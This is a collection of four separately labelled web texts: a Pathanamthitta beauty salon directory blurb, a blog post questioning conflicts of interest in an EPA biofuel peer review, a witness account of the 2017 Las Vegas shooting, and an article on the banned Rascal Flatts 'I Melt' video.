Pamper yourself, get a makeover, get your new hairdo or give your body a break from the toxic city environment at some of best beauty salons. With our comprehensive list of beauty parlours and salons in Pathanamthitta , it's no more difficult to find the right place to groom and rejuvenate yourself.
The beauty parlours in Pathanamthitta offers a wide range of beauty treatments and services to enhance your beauty covering your hairstyling and maintenance, skincare services like manicure and pedicure, facial treatments, acne treatments, waxing and much more. Also make-up services for special occasions like bridal make-up are also provided in special packages and individual services.
Usually payments are acknowledged in different payment modes like card and app-based payments apart from cash in most of these professional beauty salons in Pathanamthitta to add more convenience for their customers. But it depends on the individual service providers to suit their business requirements.
The professional beauty specialists can give suggestions from the diverse deal of treatments available as to which one will suit your skin type and physique making use of their experience and expertise. With the help of latest technologies, methods and product they will be able to provide you healthy and relaxing treatments for a beautiful appearance.
Yes, there are beauty parlours which offer unisex treatments for both male and female clients and exclusive male-grooming salons in Pathanamthitta. You can choose from our wide list of beauty parlours that specialises in the great taboo of male beauty.
Most of the hair stylists and beauticians offer complimentary consultations who can recommend you the treatments to fit your wants and needs. The commonly offered hair treatments are straightening, smoothening and re-bonding.


text:
Here I focus on the report titled Lifecycle Greenhouse Gas Emissions due to Increased Biofuel Production: Methods and Approaches to Account for Lifecycle Greenhouse Gas Emissions from Biofuels Production Over Time (PDF). The study was conducted by a consulting firm called ICF International, which has a $21 million contract from EPA for technical assistance. The study concluded overall that:
Most peer reviewers generally agreed that the approach taken by EPA was scientifically objective.The report notes that there was some difference of opinion among the reviewers about the details of the review. However, despite these technical issues of disagreement, the report asserts that EPA's proposed methodology has passed peer review.
Taking a look at the five experts on the EPA peer review panel shows that three are from environmental organizations that have called for a life-cycle analysis of corn ethanol (WRI, UCS, and TNC) and a fourth is an independent consultant who is primarily working with another environmental advocacy group that has also called for a life-cycle analysis of corn ethanol (ED). The fifth peer reviewer is a former employee of ICF (see CVs appended to report).
So 4 of 5 peer reviewers are employed by advocacy groups with established positions on the topic under review, and these position support that of the Obama Administration's EPA. At a minimum this situation creates a whale of an appearance problem, regardless of the scientific qualifications of the peer reviewers (which I am not at all discussing in this post).
For its part EPA and ICF claim in the report that:
the contractor and EPA determined that there were no direct and substantial COI or appearance of impartiality issues that would have prevented a peer reviewer's comments from being considered by EPA.This assertion does not pass a basic credulity test. The committee sure looks like it has members with strong biases falling in one direction and these biases may even rise to the level of a conflict of interest. The fact that the peer review resulted in support for the EPA was in fact conducted by a consulting firm paid tens of millions from EPA adds another layer of bad appearance.
How does an agency avoid such problems in the empanelment of scientific advisors?
Well, they should start by reading our BPC report issued this week (here in PDF), which tackles exactly these sorts of issues.


text:
At first, Tami Johnson noticed the police cars and ambulances blocking access to the Las Vegas hotel where she'd been staying.
Then, when she got out of her Uber and started walking, the Kelowna resident started to hear the loud cracking of gunfire and the screams of panicked men and women, stampeding away from danger.
Related: B.C. man one of two Canadians killed in Las Vegas shooting
"The shots went on for five minutes … we just ran for safety and ended up hiding out in a ditch behind a gas station," said Johnson, who hunkered down for four hours alongside her 13 year old daughter.
"Police kept telling us to get down and stay down … and there were people yelling and screaming. You couldn't be anywhere near the strip and not see it."
When gunfire ended, the chaos continued.
The parking lot of the Hooters hotel where she is staying is just a stone's throw from where the country music concert, Route 91 Harvest took place. It was roped off for the investigation and Johnson and its other guests weren't allowed into the hotel until 7 a.m. Monday. Once it opened its doors, it was far from being a homecoming.
Related: 58 killed in mass shooting in Las Vegas
"There are a lot of people who were killed that were staying in our hotel," she said.
Victim's services has set up in the hotel to offer support to those who are stuffering with the emotional fallout of the violence.
Those who witnessed unthinkable violence are making use of the service while others, who have who were simply displaced from the Mandalay hotel are finding refuge in the hotel's public amenities.
"As soon as the hotels opened people flooded the casinos, cozied up under a slot machine and waited for the OK to go back to their hotels," she said. "People camped out in the casino, sleeping on BlackJack tables and stuff."
Related: Revelstoke women escape mass shooting
The atmosphere is heavy and getting their bearings is a struggle, though Johnson said she knows she's lucky to have survived when so many didn't. The lone shooter killed at least 58 people and injured more than 500.
"We're in shock right now," said Johnson.
"A lady we hung out with at the pool was one of the victims. She was killed. We spent four hours with her last night, and I even bought her a jello shot, and we talked about politics, Trump and guns …an hour ago I went downstairs and the group she was with said she had passed away."
Pray for Vegas.
Posted by Tami Johnson on Sunday, October 1, 2017
Johnson said that the counsellor at her daughter's school has already reached out to help in the days ahead. Otherwise, they're still in the middle of the unfolding tragedy, and getting perspective will likely be impossible until they're safe at home.


text:
Rascal Flatts aren't exactly the band you think of first when it comes to controversy. But the trio actually got banned early in their career after a major flap erupted over a video some viewers and outlets thought was too hot for TV.
The year was 2003, and the then-rising stars had just released "I Melt," a sexy song that served as the third single from their sophomore album, Melt. Flatts singer Gary LeVox wrote the song with Wendell Mobley and Neil Thrasher, and the lyrics alone were pretty racy for country radio at that time: "When you light those candles / Up there on that mantle / Setting the mood / I just lie there staring, silently preparing / To love on you / I can feel the heat from across the room / Ain't it wild what a little flame can make you wanna do."
That was nothing compared to the video, which the trio of LeVox, Jay DeMarcus and Joe Don Rooney traveled to Florida with directors Robert Deaton and George Flanigan to shoot. The sultry clip shows model Christina Auria nude in the shower, and later in the video, she is shown topless from the side in silhouette as she gets into bed.
Country's Most Controversial Songs
Rooney stars opposite her in the video, and his bare backside is ever-so-briefly visible in the clip, which became the first video in CMT history to show nudity when the network began airing it in June 2003. The scenes are shot artfully so they aren't too revealing, but even so, the "I Melt" video would probably still cause controversy even today, 15 years later.
The group were surprised when they began to receive criticism from viewers who objected to the notion that their kids might see the clip. The flap made national news, and even USA Today wrote a story about it.
"I gotta be honest, I think we're a little surprised that there seems to be this air of controversy," DeMarcus told CMT News at the time. "We just thought it was a great, steamy, sexy video. We didn't realize that people were gonna be up in arms about it the way they have."
Rooney was chosen for the role because he was the only band member who was unattached at the time. He told CMT he was nervous about the role, but didn't think it was a big deal.
"I'd be lying if I didn't say it was uncomfortable a little bit, because I've never done that before," he admitted. "I just thought, you know, 'Why not do it? It might be fun. It might be interesting.'"
Great American Country ended up banning the "I Melt" video when Rascal Flatts refused to release an edited version, but it didn't appear to damage them. "I Melt" reached No. 2 on Billboard's Hot Country Songs chart, and made it all the way to No. 1 on CMT's Top Twenty Countdown.
Watch Lindsay Ell's Incredible One-Woman Performance for RISERS!
See the Sexiest Men in All of Country Music, Ever: